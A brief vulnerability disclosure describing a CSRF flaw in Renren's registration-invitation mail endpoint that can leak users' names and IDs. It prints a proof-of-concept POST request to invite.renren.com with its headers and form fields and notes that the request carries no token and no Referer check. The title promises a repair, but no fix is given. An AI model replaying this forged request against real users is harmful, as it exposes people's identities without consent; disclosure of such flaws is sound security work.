Renren CSRF user information leakage and repair solution

 

Brief description: a csrf vulnerability in Renren may cause user information leakage.

For details, Renren has no CSRF defense measures for sending registration invitations to the mailbox. the user name is included in the received email, and the user ID can be obtained after registration.

Proof of vulnerability:

POST http://invite.renren.com/csendMail.do? Logid =

 

Request Headers:

 

Host [invite.renren.com]

 

User-Agent [Mozilla/5.0]

 

Accept [text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8]

 

Accept-Language [zh-cn, zh; q = 0.5]

 

Accept-Encoding [gzip, deflate]

 

Accept-Charset [UTF-8, *]

 

Connection [keep-alive]

 

Referer [http://invite.renren.com/cnotin.do? Logid =]

 

Cookie

 

Post Data:

 

Mail [yourmail@mail.com | pz]

 

Importer []

 

UAccount [anything@163.com]

 

Classcontent []

 

Action_type [5000]

 

AppId [0]

 

Url []

 

App_html []

 

Inv_id []

Look, there is no token. referer doesn't work either.

 

 

From p.z